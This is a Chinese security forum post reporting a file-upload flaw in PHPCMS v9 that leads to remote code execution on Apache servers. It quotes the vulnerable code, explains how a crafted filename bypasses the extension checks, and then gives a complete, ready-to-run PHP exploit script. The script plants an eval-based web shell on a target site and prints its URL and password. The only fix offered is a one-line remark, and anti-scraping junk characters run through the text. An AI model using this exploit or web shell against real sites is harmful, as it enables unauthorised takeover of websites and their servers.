找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2080|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行* c/ r" u" c4 o6 R2 p3 e* x

# m2 n9 o& `9 s简要描述:+ F9 U; q. j, {/ F' S

. P: Y1 R% H# C# i) ]1 q$ c6 Nphpcms v9 getshell (apache)
1 j, l0 T9 v; Q6 ~# ~* h详细说明:( T. @3 j( \- x5 U& d, L1 M( O
! r2 w; y3 C+ J- ?; u# E$ M7 M
漏洞文件:phpcms\modules\attachment\attachments.php
, T* j$ M) V0 f. N
: O5 L( T/ f) T' [. k1 C% Q' J* spublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
; k( I8 Z$ P/ w后缀检测:phpcms\modules\attachment\functions\global.func.php" n, W& k4 N( o; }/ o

% z) W  M: U1 P- W, q + e0 t; q! `6 ^

1 K% g) f" {& kfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
6 K* T) j3 A! c4 ?
; m3 h" f- k7 v% v6 Z关键函数:
# C3 p. A6 B2 Z$ H, k& C$ s. ?
% F' x$ o: X; H+ g6 r0 D ( g3 x2 @/ T( v( v
% F( x) L! _; g1 Q. K) G5 D
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  ( J9 D3 `3 }& u$ M! j: M1 x
& _7 A  g6 }8 o: O  P
  Fileext函数是对文件后缀名的提取。6 L: H1 W, o# I+ G& j/ t( s" F
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
* y/ |% d+ O% e经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
: t4 z+ b! e. V& G1 t我们回到public function crop_upload() 函数中
1 A- t2 m$ N5 D; k% R, oif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
8 e+ t4 Y6 m3 U2 H& j在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数: g& B; {. N- s# r: s) k4 s, R
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
3 N4 Y/ W! W4 o  W% H, {经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
" V7 e7 w# u: [+ G( ]最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。: ?: ^! E9 O% C  m- z. h' D
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。: V. v; Y% Y( B! E. ^! X
漏洞证明:
* Y9 B# F+ k4 E1 E6 I! e3 o
: k1 V# p& ], d: Rexp:
5 D" _* C  W. I) b
0 {* c. ^: N0 D( E; M; m: l8 Y<?php- U7 a6 |* a+ b6 d7 J
error_reporting(E_ERROR);
# E6 C* a4 D' W/ y6 r1 zset_time_limit(0);
- Y1 d4 F9 Z: M1 i& K$pass="ln";
: Q2 n, L. U( V4 s% H0 Oprint_r('
9 |$ F" d6 }& l+---------------------------------------------------------------------------+; B) t3 Z- D+ w: d8 Q' i7 X4 X
PHPCms V9 GETSHELL 0DAY
# ?4 I  Q# l# J+ Z1 _code by L.N.
" s# S1 a% |* D3 L
9 x9 ~+ v0 M+ D8 d2 D/ Eapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net7 P7 O, c! p! T" g( s5 H
+---------------------------------------------------------------------------+
" `2 e8 [, p% @, W' Y0 U');
* r& N1 V" l3 i1 b- Y& fif ($argc < 2) {; `1 \' d  E  Z( d: S
print_r('( H0 o5 S" i$ r' e2 l
+---------------------------------------------------------------------------+
$ e, _( l3 f6 w8 c7 T! sUsage: php '.$argv[0].' url path
" _" r! U6 D2 `1 s; y
$ |$ ~. q/ @3 M( V: |Example:
3 |1 N6 r; Y, W1.php '.$argv[0].' lanu.sinaapp.com# j& {5 ]5 {' X  M; T6 B$ i
2.php '.$argv[0].' lanu.sinaapp.com /phpcms+ c! T  d. P+ w; h& x, S
+---------------------------------------------------------------------------+
8 H! N" l6 w  O4 n# r& E');* `2 q0 W% ^9 z" P* k. R
exit;% _& N" Y4 E) V. G# p; }! \
}4 \" k% a0 j( A% J8 }  a. u

3 P) w1 {5 J' }/ b; n$url = $argv[1];* O5 u6 P7 x% A0 w+ e; H2 C
$path = $argv[2];
5 Z0 m7 ^, e- b7 `/ `0 [( D/ L$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
7 y) W- n9 [# l5 n0 i$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
! J2 W  k7 f' T3 J' m9 D. uif($ret=Create_dir($url,$path))4 s' _+ X* x* d+ u# t! }
{7 q4 d4 F3 `0 m2 J9 q" Z. U
//echo $ret;- j% g# F! e3 k+ L/ [$ A
$pattern = "|Server:[^,]+?|U";# _7 A% y* s/ @$ ]' x' ]. Y! d5 [5 H9 J
preg_match_all($pattern, $ret, $matches);
+ o; v8 ]( v& O* Lif($matches[0][0])
! [7 q8 I, S1 C{
* j. v8 I2 j/ [; yif(strpos($matches[0][0],'Apache') == false)
8 M' m! R2 K* Y( v( P9 X{
1 d1 `( `' C! O, {0 Zecho "\n亲!此网站不是apache的网站。\n";exit;
$ `& \$ o+ j$ g% ~/ u}9 e# l5 @& h. ^
}0 j- `8 k3 T+ n1 y8 [. M6 Z/ P7 n
$ret = GetShell($url,$phpshell,$path,$file);6 M% E0 B1 G0 }) h! Z9 V
$pattern = "|http:\/\/[^,]+?\.,?|U";6 [4 q; O( z: o6 [
preg_match_all($pattern, $ret, $matches);
" M2 u* P+ I) c  o, e: A# H* L% Bif($matches[0][0])
/ x. e/ k9 R2 A" e{4 M  j2 K6 b. K  V7 U
echo "\n".'密码为: '.$pass."\n";$ G% e0 Q0 \$ j5 c7 e& U! c* U6 ^
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
/ n1 C2 k8 Z" F- z}; H0 |0 Y* ~3 S4 g7 G
else
' n2 v$ f* x# T% Q{/ g' Y  w+ t' S" n
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
0 L8 r2 q4 P" M$ Q8 Kpreg_match_all($pattern, $ret, $matches);
* q2 A! \5 M: @2 W2 q7 Q$ Rif($matches[0][0])+ x5 @  B( I' p  H5 T5 |7 _1 W
{: C( Q* E( m7 Z1 R* y
echo "\n".'密码为: '.$pass."\n";
4 b0 X' i! u  V* |! A! Qecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;8 b; b+ n6 U: e
}# E0 k  j  t9 Q% |0 [
else
4 h$ |$ F+ d6 t1 _4 u: q8 f{
  B5 c* ]. ?4 Q; ?9 x$ `3 }echo "\r\n没得到!\n";exit;
# a) j: p3 i( I0 H( a! T3 [8 Q1 T}
+ \" T* Q5 J' `. l4 c" N5 Y}
  U4 N. E& D; G9 p: m}
; `% w) M. L: G# k* l% n
, N1 X0 E( ]# a' _function GetShell($url,$shell,$path,$js)) y7 x/ y! O; ~6 S% m7 @; r
{. M7 s+ f2 t2 ]0 M, d& C! Q, g
$content =$shell;9 e/ B  T" ?- A
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";! o! Z: E5 M+ [3 A* Q7 x! T+ ]
$data .= "Host: ".$url."\r\n";
( o/ ]" U: p- ]" g$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";7 i( R2 i, e1 {; _* E1 m
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";3 J% e. m, A& y! c
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";# q# w. q7 Y9 E( e6 v) I
$data .= "Connection: close\r\n";
& \: z! G3 O5 X5 t9 Y' D. }3 f& p5 [$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
' h+ [5 I* B, Q$data .= $content."\r\n";' F' B" o! I" e9 `
$ock=fsockopen($url,80);. p" F" D* d9 x' u# Z# f$ F
if (!$ock)
" c) G1 P( Y- v9 g- e{
: ?+ W9 I  O0 c  y; I5 N# ?echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;2 G7 T3 y1 ]' d& w% X8 \8 ~% I
}
3 O+ \0 \4 {4 `- B8 @! R4 Telse
3 e3 c+ X* Q. w3 X+ l/ q{
" R. o: _$ |7 f1 x# R, W6 O; k1 E9 ?fwrite($ock,$data);
# K5 d2 \9 h/ Q* y% t' j$resp = '';; f; C5 o+ x' b. ~
while (!feof($ock))" M1 d3 @/ ^7 w: s
{4 k, }) R% H3 J' H: N- z8 \
$resp.=fread($ock, 1024);
; b( C6 S3 R" v- i}  P+ c) E: n: E7 n
return $resp;6 q" H. x5 z9 D, Q  _0 N5 @4 n/ r
}) N( L% b8 u/ O8 d
}
5 _" t: w- G! b3 e; b- B8 k: Y4 z8 D1 K0 d# E/ ^4 L& d
function Create_dir($url,$path='')3 G3 p% q" X! R( L% o7 O
{
' T$ z1 A" b# {+ [/ I6 M$content ='I love you';+ x4 u8 `; M8 T% x8 r% C  x
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
; W: Z9 _/ a* i7 g' k7 X$data .= "Host: ".$url."\r\n";
8 W7 O/ p+ l% `, s$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";  q7 d7 \4 O1 ]' P2 h- V
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
1 y8 C% @5 i& ?, x# V" I0 x( y4 z8 D$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";6 {; D6 z; D9 [3 c! g+ Q  @
$data .= "Connection: close\r\n";; X, y/ w9 X9 ]* t/ ?3 J- y
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
4 _$ I- ~( b4 G0 s# w+ F' F, k7 o$data .= $content."\r\n";
3 l- I+ ]6 B: _3 L8 [$ock=fsockopen($url,80);3 C4 G& j+ o% G5 W- D2 J+ V; B% V- I
if (!$ock)
3 D1 j( u) G6 Y( {- i( l/ `{9 v" M& Y( \+ T' e3 w
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;5 g2 e# |4 t2 x# E( b
}4 y3 Y# [+ j7 d& b3 @
fwrite($ock,$data);/ o( \! D! o/ z+ ~
$resp = '';
9 k# L4 X! j0 M0 |while (!feof($ock))) L3 n, u* c: ~9 ~
{; D7 p- g( a* V
$resp.=fread($ock, 1024);
; p# z' \5 I5 V/ U3 d}
. s# h8 Y" p: g/ {9 {( _5 N$ breturn $resp;9 U, z! C5 F' s- I4 O4 ^6 t
}
/ P! K2 y+ L9 q! h+ ~( x?>
" S  _) Z) o* p9 @8 h! o( c6 z ! A7 B% r9 v/ e* p
修复方案:% o5 G1 ?: B0 l; O

+ w) }9 h$ Y$ {过滤过滤再过滤
; N+ d- s0 y4 a
& d2 x  _7 c; F" X0 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表